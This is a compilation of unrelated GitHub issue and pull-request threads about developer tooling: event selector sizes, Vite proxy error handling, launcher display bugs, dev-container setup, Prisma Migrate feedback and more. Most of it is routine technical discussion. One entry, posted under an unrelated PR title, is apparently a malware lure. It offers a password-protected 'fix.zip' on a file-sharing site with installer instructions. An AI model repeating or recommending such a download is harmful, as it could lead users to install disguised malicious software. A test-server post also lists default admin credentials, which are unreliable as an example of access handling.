Asses whether to allow collisions of event selectors

Here is a chatgpt summary of a discussion I had with @spalladino on slack:

The discussion revolves around the length of selectors for events and functions in a PR. Currently, both function and event selectors are 4 bytes long. However, in the EVM's case, event selectors are 32 bytes long. This is because log data is cheaper than calldata in the EVM. In this context, event selectors go on L1 as part of the log preimage, making logs more costly. The question raised is whether there would be any issues with using a 4 byte selector.
Palla suggests that the main reason for 32-byte selectors might be to avoid clashes, especially when processing events in transactions. Knowing exactly which event you're dealing with simplifies the process. Allowing conflicts would require checking the emitter address for each log, which could be complicated if you don't have external knowledge of the addresses.
Jan Benes doesn't see the issue of conflicts as a significant problem because all logs contain the contract address in their preimage, and the kernel verifies that the address corresponds to the emitter.
Palla presents a scenario where you're processing a random transaction and encounter an event with a selector that could be A or B. Checking the contract address that emitted it (0x12345) wouldn't be enough to determine whether the event was A or B, unless you have external knowledge of what's in 0x12345.
Palla shares a personal experience where the selector for ERC20 and ERC721 transfers was the same, causing issues when deserializing them. This required manual handling when building something that processes token transfers.
Finally, Palla is unsure whether avoiding these conflicts is worth the extra L1 gas cost.

TODO: Once it's know how much EIP-4844 blob space will cost asses whether not having event topic collisions is worth the L1 calldata cost.

Should this ticket replace this other one? https://github.com/AztecProtocol/aztec-packages/issues/1050

@dbanks12 I am specifically talking about event selectors so no.

Ah got it, was just combing through old tickets. Makes sense!


[Tests] test on @babel/eslint-parser

Run tests using parsers.BABEL_NEW(@babel/eslint-parser) to rules that already has a tests using parsers.BABEL_OLD(babel-eslint).

I wish we’d discussed this first; I’m already working on a different direction for this goal that will conflict with what you’ve done here.

Oh sorry. Next time, I'll discuss the issue before starting any work. I'm fine with closing this PR :+1:

Let’s keep it open for now; i may be able to salvage some of it.

Thank you. Just in case, I've pushed some changes that only existed my local machine.


Produce NotFoundPageDisplayableEndpointBuildItem to have the list of endpoints in the dev-ui (and 404)

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."


Issue running Dev Container

Hi Ian,
I am facing the following intermittent issue while trying to run the Dev Container: WebSocket Protocol Error: Unable to parse WebSocket key.
System Details: Ubuntu 22.10 w/ AMD Ryzen Processor
Command run, after ensuring Git submodules are updated
cd rust-on-nails.com && zs
Terminal

Ports

Sometimes it works and sometimes it doesn't. Please let me know if you need any additional details from my end.
Thanks,
Faraz

I'm also on Ubuntu on a ryzen processor. I've only been using this setup for a few days so we'll see if I get this issue too.
lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 22.10
Release:	22.10
Codename:	kinetic

This issue could be that when you run zola it creates a websocket connection back to the server to wait for updates. Then it automatically refreshes when it sees that update.
I couldn't find a way to disable this.

So I fix the version of Zola at 0.15.3, this is because that's the version that cloudflare supports.
You may have better luck with a later version
ARG ZOLA_VERSION=0.15.3
RUN sudo curl -OL https://github.com/getzola/zola/releases/download/v$ZOLA_VERSION/zola-v$ZOLA_VERSION-x86_64-unknown-linux-gnu.tar.gz \
    && sudo tar -xvf zola-v$ZOLA_VERSION-x86_64-unknown-linux-gnu.tar.gz \
    && sudo mv zola /usr/bin/zola \
    && sudo chmod +x /usr/bin/zola

Looks like it's working now, thank you!


Launcher won't open if i set my monitor to 100hz and more.

Apparently my screen messes with the automatic dpi detection. I don't get the window if i set my screen in the system settings to 120hz or 165hz. I have a 34 inch screen and a resolution of 3440  by 1440, system is Kubuntu 21.10. If i set my system to 100hz, open the launcher and set it back to 165hz, everything works fine, launcher works and everything.
Also if i activate custom UI scaling in the settings, my computer crashes and i have to reboot (not even emergency console works)

Can you try running the launcher from the terminal and post the output (in the case when you don't get the window)?
Also, what is your graphics card? Do you have the latest driver for it?

I updated the nvidia drivers, no effect. If i run the script in terminal, i get the following:
Godot Engine v3.4.4.stable.official.419e713a2 - https://godotengine.org
OpenGL ES 2.0 Renderer: NVIDIA GeForce RTX 2080 SUPER/PCIe/SSE2
OpenGL ES Batching: ON

ERROR: Invalid locale ''.
   at: get_language_code (core/translation.cpp:957)
ERROR: Unsupported locale '', falling back to 'en'.
   at: set_locale (core/translation.cpp:980)
WARNING: Cannot create render target larger than maximum hardware supported size of (32768, 32768). Setting size to maximum.
     at: _render_target_allocate (drivers/gles2/rasterizer_storage_gles2.cpp:4971)

The warning seems to be the culprit :D

Oh, great, now we just gotta find out why it wants a viewport of this size 😃
I have a few things for you to try:

Try running Catapult from the terminal again, but with --verbose. Maybe we'll see something else that's important.
Download the Godot engine itself and see if that launches without problems: https://downloads.tuxfamily.org/godotengine/3.4.4/Godot_v3.4.4-stable_x11.64.zip
I've made a build of Catapult that uses GLES 3.0 instead of 2.0. See if its behavior is any different.
I've also made another build, where auto-detected UI scale is capped at 4. See if you get the same issue on launch with this one.

You may also want to try and capture what happens when you enable custom scaling. Run Catapult like this to write all its terminal output to a file, so that it's hopefully preserved when your OS crashes:
./catapult 2>&1 | tee log.txt

Allright, i got around to test everything. Godot works fine, i opened it and started a random project, both worked.
I tested the 22.03c catapult, the GLES 3 version and the scale capped version and made log for each one with --verbose | tee. None of them worked btw, same issue every time. Tee seems to stop before getting the error each time (even when adding -i to tee), so i pasted the terminal output right behind what tee wrote to the log.
I have attached the logs, hope this helps.
log-regular.txt
log-gles3.txt
log-scalecap.txt

Thanks for taking the time. The errors from GLES 3.0 look like they also have to do with framebuffer size. So, still no leads.
I assume you tried running your new project in Godot, and it ran OK?

I did, yeah.


XS✔ ◾ Docs qa v2

More fixes and quality control for the workshop docs

@callum-stakater Image is available for testing. docker pull stakater/workshop-excercise:SNAPSHOT-PR-67-efc24672

@callum-stakater Image is available for testing. docker pull stakater/workshop-excercise:SNAPSHOT-PR-67-607630ac

@callum-stakater Image is available for testing. docker pull stakater/workshop-excercise:SNAPSHOT-PR-67-8e580de9

@callum-stakater Image is available for testing. docker pull stakater/workshop-exercise:SNAPSHOT-PR-67-eb482421


just ignore

to be deleted

Setup Test Server label detected. Spinmint test server created if build succeeds (checks pass and no conflicts with base branch).

Spinmint test server created at: https://i-08b72f84529fa3846.test.spinmint.com
Test Admin Account: Username: sysadmin | Password: sysadmin
Test User Account: Username: user-1 | Password: user-1
Instance ID: i-08b72f84529fa3846

Spinmint test server destroyed


Cannot load templates dynamically

Hi,
I've created a simple repo to enable quick reference and debugging for the issue: https://github.com/kalinchernev/twing
The issue comes in a setup of older twing versions which we haven't found a way to upgrade yet. But it still works with loading templates in a normal way.
The issue we face comes from our attempt to load templates dynamically after variables concatenation. I spent a few hours today with the attempt of upgrading only the loader, but didn't manage to reach a working state. I also spent additional time trying to debug the caching maps and configurations, but didn't manage to find the issue.
In an attempt to to have the following, there are no issues
{% include<EMAIL_ADDRESS>only %}

However, trying the following yields an error:
{% include '@ecl-twig/ec-component-' ~ component ~ '/ecl-' ~ component ~ '.html.twig' only %}

The error message

Template<EMAIL_ADDRESS>is not defined in "__HASHED__469502d920d68a41fe7c1732b28589a1319aca337beed836815c2bbfb89f6e0c" at line 1.
TwingErrorLoader: Template<EMAIL_ADDRESS>is not defined in "__HASHED__469502d920d68a41fe7c1732b28589a1319aca337beed836815c2bbfb89f6e0c" at line 1.
    at TwingLoaderChain.getSourceContext (http://localhost:34359/vendors~main.4b1d58f3fa2fe7f97087.bundle.js:129342:15)
    at TwingEnvironmentBrowser.loadTemplate (http://localhost:34359/vendors~main.4b1d58f3fa2fe7f97087.bundle.js:122430:43)
    at __HASHED__469502d920d68a41fe7c1732b28589a1319aca337beed836815c2bbfb89f6e0c.loadTemplate (http://localhost:34359/vendors~main.4b1d58f3fa2fe7f97087.bundle.js:136124:29)
    at __HASHED__469502d920d68a41fe7c1732b28589a1319aca337beed836815c2bbfb89f6e0c.doDisplay (http://localhost:34359/main.4b1d58f3fa2fe7f97087.bundle.js:372:18)
    at __HASHED__469502d920d68a41fe7c1732b28589a1319aca337beed836815c2bbfb89f6e0c.displayWithErrorHandling (http://localhost:34359/vendors~main.4b1d58f3fa2fe7f97087.bundle.js:136184:18)
    at __HASHED__469502d920d68a41fe7c1732b28589a1319aca337beed836815c2bbfb89f6e0c.display (http://localhost:34359/vendors~main.4b1d58f3fa2fe7f97087.bundle.js:136163:14)
    at __HASHED__469502d920d68a41fe7c1732b28589a1319aca337beed836815c2bbfb89f6e0c.render (http://localhost:34359/vendors~main.4b1d58f3fa2fe7f97087.bundle.js:136169:18)
    at push../src/ec/packages/ec-component-layout/ecl-layout.html.twig.module.exports (http://localhost:34359/main.4b1d58f3fa2fe7f97087.bundle.js:402:21)
    at Default (http://localhost:34359/main.4b1d58f3fa2fe7f97087.bundle.js:425:70)
    at finalStoryFn (http://localhost:34359/vendors~main.4b1d58f3fa2fe7f97087.bundle.js:4615:32)

You can see the error reproduced in the repo above (yarn install + yarn start)
What are your suggestions for tackling this issue? Do we need to load templates more granularity somehow with a different loader interface or rather debug the webpack/babel/storybook chain?
Thanks in advance for your advice!

Original repo with all the files and the issue origin is here: https://github.com/ec-europa/ecl-twig/pull/551


Nearest Greater to Right Element

@shraddhavp  Please assign this issue to me under DWOC..
I would like to work in c++

I would like to do it. kindly assign me for this issue. I can do it in Python, C, C++, Java.

I would like to solve this issue . Kindly provide me the access

Hi, i want to contribute as a participant of gssoc'21

@shraddhavp Please assign this issue to me under DWOC..
I would like to work in c++

DWOC is over but if you wish to work on it WIll assign

Hi, i want to contribute as a participant of gssoc'21

You can contribute without being a participant too !! Also, GSSOC is not open yet !! If you are interested I will assign it to you

@chehak123
Let us know the language that you will be using to solve the Issue. Also please make the PR once the Coding Period starts.

Thanks!! @anushkrishnav for assigning me this issue .I'll try my level best.

Hello, I am a GSSOC'21 participant and would like to contribute to this project.
I can do this in GO

Please make an individual issue on the language you want to implement this.


Error handling with proxyMiddleware needs improvement

Describe the bug
Right now, the target property of server.proxy can be null, undefined, or other falsy values.
I know that putting falsy values to target property is very unlikely, but some might do it. And the error handling of it could be better.
I propose that the error message should tell users either:

explicitly say "the target is undefined or null"
handle error inside the proxyMiddleware function and throw proper error

How the error handling works now
When target is given '' (empty string), the error throws
[vite] http proxy error at /empty
Error [ECONNREFUSED]: connect ECONNREFUSED <IP_ADDRESS>:80
    at InternalError.get (https://vitejsvite5zhh2j-vljh.w-credentialless.staticblitz.com/blitz.a19575a2.js:35:385021)
    at checkError (https://vitejsvite5zhh2j-vljh.w-credentialless.staticblitz.com/blitz.a19575a2.js:35:481441)

The error above is readable, and properly handled.
However, when target is given undefined or null, the error throws
[vite] Internal server error: Cannot use 'in' operator to search for 'req' in undefined
      at ProxyServer.eval (file:///home/projects/vitejs-vite-5zhh2j/node_module

The error above is not readable, and not handled at the proxy level.
The error producing vite.config.js looks like this:
import { defineConfig } from 'vite';

// https://vitejs.dev/config/
export default defineConfig({
  server: {
    proxy: {
      '^/undefined': {
        target: undefined,
      },
      '^/null': {
        target: null,
      },
      '^/empty': {
        target: '',
      },
    },
  },
});

Reproduction
https://stackblitz.com/edit/vitejs-vite-5zhh2j?file=vite.config.js
Steps to reproduce
Run npm install && npm run dev
Click on when undefined, when null, when empty button.

Then you will see the error popup.
when when undefined or when null is clicked

when when empty is clicked
the error is just printed at the server console.
System Info
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 16.20.0 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 9.4.2 - /usr/local/bin/npm
    pnpm: 8.6.3 - /usr/local/bin/pnpm
  npmPackages:
    vite: ^4.3.9 => 4.3.9

Used Package Manager
npm
Logs
No response
Validations

[X] Follow our Code of Conduct
[X] Read the Contributing Guidelines.
[X] Read the docs.
[X] Check that there isn't already an issue that reports the same bug to avoid creating a duplicate.
[X] Make sure this is a Vite issue and not a framework-specific issue. For example, if it's a Vue SFC related bug, it should likely be reported to vuejs/core instead.
[X] Check that this is a concrete bug. For Q&A open a GitHub Discussion or join our Discord Chat Server.
[X] The provided reproduction is a minimal reproducible example of the bug.

I know that putting falsy values to target property is very unlikely

Not that unlikely considering the value might very well be an environment variable and it's easy to forget that Vite doesn't load .env files automatically at configuration time.

@warrenseine Thanks for providing specific context! I created a new PR related to this issue. Can you give it a look? Feedback is welcome!

I don't know much about the implementation of proxies so I wouldn't be very helpful reviewing it, but it looks simple and safe to me 👍🏻 Let's hope someone more knowledgeable will review soon. Thank you very much for fixing this 🙇🏻


Form validation set for Email , pin code

#30
fixes #30

Describe the changes you've made
Form validation set for Email and pincode of area .
Describe if there is any unusual behaviour of your code(Write NA if there isn't)
N/A
Additional context (OPTIONAL)

Test plan (OPTIONAL)
just write anything in email-box and press form submit button it will tell weather entered mail address is right or wrong.

@royalleads15 this is the website after your changes -> https://voters-registration-portal-1.qazimaazarshad.repl.co/
Review your changes.
All details have not been validated.

@royalleads15 this is the website after your changes -> https://voters-registration-portal-1.qazimaazarshad.repl.co/
Review your changes.
All details have not been validated.

Also every time the same alert appears 'wrong email', even if a mistake is in another section.

Make a new PR when you are done.


Collections preview documentation

A few areas are using https://develop-hub.blockstack.org but should be using https://staging-hub.blockstack.xyz


fix(iroh-net): Document the keylog environment variable correctly

Description
Also log the fact this is enabled on WARN level.  This is pretty
important to notice.
Breaking Changes
none
Notes & open questions

Change checklist

[x] Self-review.
[x] Documentation updates following the style guide, if relevant.
[ ] Tests if relevant.
[ ] All breaking changes documented.

@dignifiedquire why not just approve it? :D


[Event Request] Codeunit 12 "Gen. Jnl.-Post Line" - OnFinishPostingOnBeforeCheckIsTransactionConsistent

Hi team,
In codeunit 12 "Gen. Jnl.-Post Line" procedure FinishPosting we would like to modify how GLReg is handled, for that a good solution would be to add a handler before checking IsTransactionConsistent boolean:

[IntegrationEvent(false, false)]
local procedure OnFinishPostingOnBeforeCheckIsTransactionConsistent(IsTransactionConsistent: Boolean; IsGLRegInserted: Boolean; var GLReg: Record "G/L Register"; var IsHandled: Boolean)

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. We will update this issue with information about availability.


Migrate changes from VozData to CrowData and add some new features

Hey guys,
I have migrated some features from VozData to Crowdata and added some new ones.
With @cbertelegni we have set up a temporary staging here: http://pre-vozdata.lanacion.com.ar/ where you can check this branch working.
Please let me know if you need anything else,
Thanks!
These are the features:
Add Organizations

Add organization ranking.
Add organization profile.
Show in organization profile the users associated and the documents.
Add list of organizations.
Add ranking of organizations.
Add ranking widget of organizations.
Allow user to join/quit an organization.
Allow user to associate documents to an organization.
Allow user to change the current organization.
Add modal to let user change the organization.
Show in the modal the organizations associated to the user.
Show organizations associated in the user profile.

Add search box to the ranking.
Show more information about that field from the documents.
When freeing a document allow the user to move between fields using <tab>.
The staff/superusers should be able to edit the entries in the Admin.

Lindo lindo. Great!


Jquery Sidr Menu with Smoothscroll

I am using the sidr menu with a smooth scroll script and I would like the menu to close when an anchor link is clicked and then smooth scroll to location on the page. Has anyone had any luck with this? This is the smooth scroll script: http://demos.flesler.com/jquery/scrollTo/
Thanks

You can just close the menu when someone click on a link inside it:
$('.sidr li a').click(function () {
    $.sidr('close', 'sidr-name');
});


Make Printer::table_2 more generic

I want to start by thanking you for all your work on this project so far. Coincidentally, I have just gotten into hacking an EPSON thermal printer and this library has been a huge help for me. I seem to have gotten into this at just the right time to use this library. Since I am using the library I thought it would be good to send some small ergonomic fixes up to you to hopefully help anyone else who wishes to use this amazingly featured library. Anyways, with the fluff out of the way, here is the actual pull request content.

This change makes table_2 be able to accept more than just a Vec<(String, String)> which is what it was constrained to before.
The function can now take in anything that implements IntoIterator including iterators themselves and, as before, Vec. The function is also now generic over the type of the elements in the tuple, allowing for anything that implements AsRef<str> (String, &str, Cow<str>, ...) this functionality is the same of that in the Printer::println function and makes writing code much easier since callers do not need to deal with tons of .to_string()s on their string literals

As a side note, I would recommend running cargo fmt on your codebase. I use VSCode as my editor with rust-analyzer which auto formats my code for me hence the changes all over the place in this PR. I had not realized that I had run rustfmt. The important changes are these: https://github.com/Malanche/escpos-rs/pull/2/files#diff-45d1638e21d07e9839acd6a40836cca85f5ea8f7368cda33cc3b0e0cceeb27a1L175-L190
https://github.com/Malanche/escpos-rs/blob/9ad251321f5664f49ea0205014d1fba63ecbc354/src/printer/usb_printer.rs#L186-L205

Side side note. currently, the table_2 function assumes a width of 30 chars, but that is not the case with my printer, so it might be useful to make that calculated wither using the PrinterProfile.width and the font size or something. Or just letting users enter it every time this function is called.

Hey, hello! Thanks a lot for the help. I am happy the library seems to be of help to somebody.
I will take into account your changes. I rushed to upload the crate as the name was free, but there are many things to be done that were hardcoded before (I used the library to help my family so it was not general purpose, it was really specific for certain printer).
The printing width now comes as part of the PrinterProfile structure (I only have two models to test, a 58mm paper and a 80mm one. You can see both models in PrinterModel).
As an example, the Instruction structure takes into account printer width for both pictures and text depending on the font... there is still a lot to be done but I will quickly put it up to date. I will also update the Printer functions to take into account the profile. I might use python's escpos database to have mor predefined profiles. Thank you again!

The changes to the table are on their way, by the way (I have local changes to not have redundancy anymore in the code, so the table printing and so is abstracted from the to_vec function, so that it can get used by the printer). Functions like duo_table already have generic parameters on them in my local, but I'm still using a vector of tuples for the contents of the tables (didn't know about the IntoIterator trait).  As soon as I have them, I come back to the pull request to merge your suggestion.


Update naming and branding for components

There should be no impact for tooling here since there's no direction interaction between VS and the build-time support for components.


Refine naming of function, protocol, and struct types

Currently, we are using:
typealias Action = () -> ()
protocol ActionType { }
struct AtomicAction { }
struct LoopingAction { }

Where, ActionType structs contain an Action, wrapped with either an offset time stamp or looping interval.
The naming doesn't seem to appropriately convey the graph of relationships.

Closed by #17.


All services are re-scheduled after stack updating

Description
In my previous swarm experience, when I deploy a stack, the services, which are not modified, will not be re-scheduled. But in portainer, when I update a stack with 20+ services, event I only make a small modification to one service, all 20+ services will be re-scheduled, and the process is so slow.
Technical details:

Portainer version: 1.15.0

We're using the Docker CLI to update the stack so the behavior should be the same as the CLI, meaning that it will re-deploy existing services...
https://docs.docker.com/engine/reference/commandline/stack_deploy/
Could you give it a try on the CLI to check if this is the expected behavior?

Yeah, I gave the cli a try, it tried to update all services. The problem is, the speed. When I deploy on the machine, 20+ services are updated so quickly, but when I use portainer, only 3 services are updated per minute.

Maybe related to the --detach=false switch
I think the latest client may be doesn't detach by default (to be tested)
If we don't care about result of deploy stack, we should add the flag to be sure what we are doing

Looks like --detach is not supported in the CLI yet: https://github.com/docker/cli/issues/373
@zhaoyao91 could this be related to some latency between your Portainer instance and your Docker environment ? Have you tried to use the CLI with the -H flag to check this?

@deviantony Yeah, I have just tried this, it seemed no problem, 20+ services were updated within seconds.

@zhaoyao91 do you have multiple registries defined inside Portainer?

@deviantony I have one private registry, and almost all services in the stack use it.

Do you want to join me on Slack so we can investigate this?
https://portainer.io/slack/

@zhaoyao91 I believe your deployment rapidity issue has been solved. Now the question is, we need to ensure that the behavior from the CLI is the same as the one in Portainer, do you still have the problem where Portainer re-deploys all the services?

No. I check it again by updating a stack with only one service updated. Although it spawned 20+ tasks, only the updated service were actually re-deployed. This behavior is the same as the CLI. Thanks.

Ok we can close this issue then.


Add tags to docker images

It would be better to tag the docker image, I propose 3 plans following:
Plan A (Don't change image names)
Shortest, but could be mistaken for a vim/neovim image...
Format:

ghcr.io/vim-denops/vim:x.y.z (latest will be ghcr.io/vim-denops/vim)
ghcr.io/vim-denops/neovim:x.y.z (latest will be ghcr.io/vim-denops/neovim)

Plan B (Same image name in Vim/Neovim)
A little redundant, but clear and same format as common docker images.
Format:

ghcr.io/vim-denops/denops:x.y.z-vim (latest will be ghcr.io/vim-denops/denops:vim)
ghcr.io/vim-denops/denops:x.y.z-neovim (latest will be ghcr.io/vim-denops/denops:neovim)

Plan C (With suffixes, but different image names in Vim/Neovim)
Added -vim / -neovim prefixes, but I don't think it's a good one.
Format:

ghcr.io/vim-denops/vim-denops:x.y.z (latest will be ghcr.io/vim-denops/vim-denops)
ghcr.io/vim-denops/neovim-denops:x.y.z (latest will be ghcr.io/vim-denops/neovim-denops)

Let me know what you think @lambdalisue

I think A should be enough.

Okay, I'll try to make it with Plan A...


Meeting notes/23.03.2023

Is there anything else important to discuss? Please suggest or push further agenda points.

Basics

[ ] Details of what you changed are in commit messages
(first line should have module: short statement syntax)
[ ] References to issues, e.g. close #X, are in the commit messages.
[ ] The buildserver is happy.
[ ] The PR is rebased with current master.

Checklist

[ ] I added unit tests for my code
[ ] I fully described what my PR does in the documentation
(not in the PR description)
[ ] I fixed all affected documentation
[ ] I fixed all affected decisions
[ ] I added code comments, logging, and assertions as appropriate
[ ] I mentioned every code not directly written by me in reuse syntax

Review

[ ] Documentation is conforming to our Documentation Guidelines
[ ] Examples are well chosen and understandable
[ ] Code is conforming to our Coding Guidelines
[ ] Code is consistent to our Design Decisions

@markus2330 One other thing I would like to implement soon is logging. Although I don't know if this should be part of this meeting as it might not concern all of us. Maybe something like that is what you meant by 'which tasks'?

Thank you, I added it. 6ccaab98eaec1dcbf418183a888278ada0b8e190 Logging has really low priority, we first need to get a proper architecture and get the foundations right. Operational stuff can be done at the end.

@aidnurs please check if I forgot something.


use ast to parse FLASK_APP

This had the nice side effect of parsing keyword arguments too. Refactored call_factory to use inspect.signature, even though it will go away in 2.1 because it was easier to figure out the args and kwargs checks.
closes #3553

Very nice, I didn't realize stdlib has an ast module.


ci: disable slack notification on job status change

Grafana is monitoring the job now.

bors try

bors merge

bors merge


[FLOC-1925] Supply dataset backend configuration to acceptance testing nodes

Fixes https://clusterhq.atlassian.net/browse/FLOC-1925
Makes it possible to configure dataset backends.
Adds EBS and Cinder backends to flocker-dataset-agent as well.
Plus numerous other unfortunate but necessary changes that don't belong here.

Staged buildmaster with fixes to acceptance.yml building this branch now, http://<IP_ADDRESS>/boxes-flocker?branch=storage-driver-configuration-take-two-FLOC-1925

Thanks for getting this going. Address above (or aggressively file follow-up issues, as you feel is merited), get buildbot to actually pass, resubmit.

Address minor comments, merge when buildbot is green. Thanks!


Add static-room and stack-room.

Closes #7. I most probably missed some of the implementations (due to not having access to them or plain inattentiveness), but that's a good result already.

Please add docstrings in documentation.lisp as well.

Please add docstrings in documentation.lisp as well.

Done!

Looks good, thanks!


Hard to use Presenter pattern

I'm having a hard time navigating and understanding the Presenter pattern. Turns out I'm not alone,
https://www.reddit.com/r/programming/comments/3os2lg/google_releases_google_io_showcase_apps_huge_lump/
I do have some experience with the MVP pattern, but what I can see in iosched is way too complex that I'm thinking of avoiding it entirely.
I am basically trying to add a new "module" with it's activity, fragment, model and model data. How the whole fit together from the addPresenterFragment(...) is not clear. How do actions lead to database reads and writes is also very fuzzy.
Any guidance will be appreciated.

You know that this place is not for guidance, right?

@oderayi Is your request that the MVP as IOSched use it be more clear or are you using the project to generally learn MVP? This would be the appropriate place to report the former, but not the latter. That being said, I think we may have some updates in how it's documented this year to make it more clear going forward.

It was a comment on the docs or its usability.
Thanks,
-paul
On Apr 8, 2016 9:19 AM, "Paul Rashidi"<EMAIL_ADDRESS>wrote:

@oderayi https://github.com/oderayi Is your request that the MVP as
IOSched use it be more clear or are you using the project to generally
learn MVP? This would be the appropriate place to report the former, but
not the latter. That being said, I think we may have some updates in how
it's documented this year to make it more clear going forward.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly or view it on GitHub
https://github.com/google/iosched/issues/188#issuecomment-207499003


header layout and content layout in the same fragment

Hello
I want to use FadingActionBar with my project. I had a look at samples-stock folder but none of them seems to fit my case.
My situation is that I have an Activity that contains a Fragment. A fragment contains header layout and content layout in the same XML.
Here is my Activity and Layout files:
UserActivity.java ( https://gist.github.com/PcNy/befe5465bc7b9008e0b1 )
activity_user.xml ( https://gist.github.com/PcNy/bc726e21d8c0ad608093 )
fragment_user_n1.xml ( https://gist.github.com/PcNy/78237f2f9b8dbdc42592 )
In my Fragment's OnCreateView, this is done.
View rootView = inflater.inflate(R.layout.fragment_user_n1, container, false);
then return rootView. But in samples, it just called View view = mFadingHelper.createView(inflater); and return view.
Really need help to make FadingActionBar work in my case.
Thank you.

Hi,
I have the problem than you.
Did you find a solution ?
Samy


missing ssl_cert_reqs kwarg in monkey patched Redis connection

Environment
saas
due to changes in dango_redis supporting ssl_cert_reqs
https://github.com/rq/django-rq/blob/11527cfdc6408b9c23c24255f8684b61860cc671/django_rq/queues.py#L83
released 14 hours ago.. the monkey patched redis handler seems to break on start.
Which SDK and version?
sentry-sdk==1.5.0
Steps to Reproduce
latest django_rq with sentry python package
and redis integration
Expected Result
connect to redis
Actual Result
  File "/venv/lib/python3.9/site-packages/sentry_sdk/integrations/redis.py", line 101, in sentry_patched_execute_command
    return old_execute_command(self, name, *args, **kwargs)
  File "/venv/lib/python3.9/site-packages/redis/client.py", line 1067, in execute_command
    conn = self.connection or pool.get_connection(command_name, **options)
  File "/venv/lib/python3.9/site-packages/redis/connection.py", line 1172, in get_connection
    connection = self.make_connection()
  File "/venv/lib/python3.9/site-packages/redis/connection.py", line 1212, in make_connection
    return self.connection_class(**self.connection_kwargs)
TypeError: __init__() got an unexpected keyword argument 'ssl_cert_reqs'

Hello @rosscdh !
Thanks for the report! Sorry for not replying sooner.
Do I get this right. Right now it is impossible to use Sentry with Django-RQ?
Is this still the case with an updated Sentry SDK to the newest version?

@rosscdh I tried to repro this today and with latest django-rq here and I'm not able to repro this, both errors and transactions work successfully. Please give us more repro steps/a sample app if this is still a problem.

this is infact fixed upstream so closing.


How to change timezone?

→deis releases
=== stagingapi Releases
v11     2017-01-04T10:44:04Z    f deployed 93924ad
v10     2017-01-04T10:22:24Z    f deployed f6e80f8
v9      2017-01-04T10:06:22Z    f deployed 3e367ee

It would be easier to read logs, if local time is used instead of UTC.

@ChillarAnand unfortunately the TIME_ZONE setting is hard-coded here: https://github.com/deis/controller/blob/master/rootfs/api/settings/production.py#L37
So you could change it locally and deploy a custom Docker image for the controller.
It wouldn't be too hard to allow an environment variable to override UTC, but no one's done that yet. Pull requests are always welcome!

Do we have to change this https://github.com/deis/deis/blob/master/controller/deis/settings.py#L38 also?

Nah, the one you linked to is for v1 which is in maintenance mode at this point. Feel free if you'd like to but we're dropping support for v1 in a month.

Then no need for it. Thanks @bacongobbler


Do not expand code groups after query execution

DBeaver 22.2.0
Database - ClickHouse 22.
I have long query with several CTE in beginning.
So I decide to collapse CTE text by grouping feature of text editor, something like this (comments is in russian, nevermind):

But after executing query all this groups become expanded, and I again can't see whole query structure on one screen.
I think, it is not nessesary to open code group after query execution. Please, change behaviour of DBeaver and let me control state of this groups mannualy.

Hello @dimkas78,
Thanks for the bug report


Add travis_wait to main testing script

Sometimes, docker pulls hang, or there are other network issues.
Adding travis_wait allows the build to continue. We want this mainly
to decrease orphaned builds.

@sehqlr Are the travis failures related here?

This seems to have a 20 minute timeout, which causes all builds to fail. Please resolve the issue or close this PR.


ui-on-drop doesn't work with ngRepeat

If the ui-on-drop is attached to an item within an ngRepeat, it doesn't do anything.

+1 same issue.

Can you provide an example ( create a jsfiddle or plunk and attach it to the issue please )

If I grab the plunk from the site http://angular-dragdrop.github.io/angular-dragdrop/examples/, then it works (moving the ngDrop inside the list item). But if I try this in my own project, it doesn't.
I see that the plunk is using some (old?) library:
module "ngDragDrop" (plunk)
instead of "ang-drag-drop" (http://angular-dragdrop.github.io/angular-dragdrop/getting-started/)

The problem exist only when a use it on my testenvironment and webserver host is something like http://localhost/...
Maybe is a cross-origin XHR problem, so is a non problem...
Tks

Problem was that the function that I passed for ui-on-drop was not in the scope. Maybe an error message if the function is not found would be helpful.


feat: support Any database for postgres,mysql and sqlite

Signed-off-by: Saurav Sharma<EMAIL_ADDRESS>

bors try

tikv merge

bors merge


Create robots.txt, for crawlers.

http://www.robotstxt.org/robotstxt.html

Created and merged with develop. Still need to point nginx to them.


Preview feature feedback: Prisma Migrate

Please share your feedback about the new Preview version of Prisma Migrate that was released in v2.13.0 in this issue.

If you encounter a bug, please open a bug report in this repo.
If the feature is working well for you, please share this in a comment below or leave a 👍 on this issue.

If you have any questions, don't hesitate to ask them in the #prisma-migrate channel in the Prisma Slack.

Waiting for nativeType to be supported :-)

Was really expecting a stable production ready release for this, not another PREVIEW or EXPERIMENTAL release. :(

@xiaoyu-tamu Native type support is indeed on our list.

@himalayaahuja Preview is the a big stepping stone towards a production-ready release. We did a lot of changes to Prisma Migrate, which is why decided to release in Preview before going with GA.

Missing the beloved --auto-approve, in the case of running prisma migrate dev --preview-feature in a CI/CD pipeline where no user interaction is possible.

Hey @nickreynke 👋🏼,
prisma migrate dev --preview-feature is not actually intended for use in a CI/CD pipeline. Instead, it's recommended to use the prisma migrate deploy --preview-feature command which will apply the migrations without prompts.

Ah, thank you @2color ✌

Wanting to clarify here https://www.prisma.io/docs/concepts/components/prisma-migrate#lack-of-rollbacks--down-migrations
"Prisma Migrate does not currently roll back a migration without resetting the database. "
Does this mean that you generally shouldn't be rolling back a migration on production

The approach we favor the most is to adopt a "forward-only" migration policy where each migration is meant to put the schema in a shape that stays compatible with the previous version of the code so that rolling back the application code deployment is sufficient to maintain the application running without issues. That comes with choosing not to delete columns or tables which hold data in one go, but rather proceed with additive changes instead, or renaming whenever necessary rather than removing completely. Removing columns or tables from production can be fine once the said column or table isn't used anymore, ideally for some time, and that it doesn't come at the risk of locking tables accessed a lot, which could put down an application. That is worth removing columns and tables when the risk of removing them is generally low (e.g. traffic to the application is only going to lightly suffer a whole table lock), and the value of reclaiming the storage space is high.
Here's an article talking about forward-only migrations in practice which gives practical details about that: https://sbg.technology/2016/02/02/how-we-release-so-frequently/
The abstract version of how to proceed is described in this article: https://martinfowler.com/bliki/ParallelChange.html.
